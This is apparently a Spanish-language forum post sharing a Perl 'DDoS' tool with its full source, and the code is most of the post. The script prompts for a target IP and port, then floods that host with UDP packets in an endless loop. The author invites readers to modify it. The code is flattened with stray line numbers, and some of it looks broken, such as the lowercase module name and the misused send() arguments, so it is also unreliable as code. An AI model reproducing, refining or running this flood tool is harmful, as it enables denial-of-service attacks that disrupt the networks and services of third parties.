Script DDos Perl 1.0 By pr0xXx0r

Buenas, repasé un poco el tema del perl que hace muchiiisiimo que no lo tocaba, me dio
por reelerme el asunto de los socks, recordé las cosas y pude codearme esta herramienta en perl.

Caracteristicas:


+ Envio de 30000 socks
+ Mayor rapidéz en el envio
+ UDP

Source utilizado por si alguien quiere modificarlo:

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29

#!/usr/bin/perl print q( ===================================================== DDoS en perl Creado por pr0xXx0r www.pr0xxx0r.blogspot.com ===================================================== ); use io::socket; print "Introduzca la IP: "; chop ($host = <stdin>); print "Introduzca el puerto: "; chop ($port = <stdin>); { $sock = IO::Socket::INET->new ( PeerAddr => $host, PeerPort => $port, Proto => 'udp') || die "$! Ha introducido algun dato incorrecto, vuelva a intentarlo"; } packets: while (1) { $size = rand() * 30000 * 300000; print ("$host:$port Conexión enviada: $size\n"); send($sock, 0, $size); }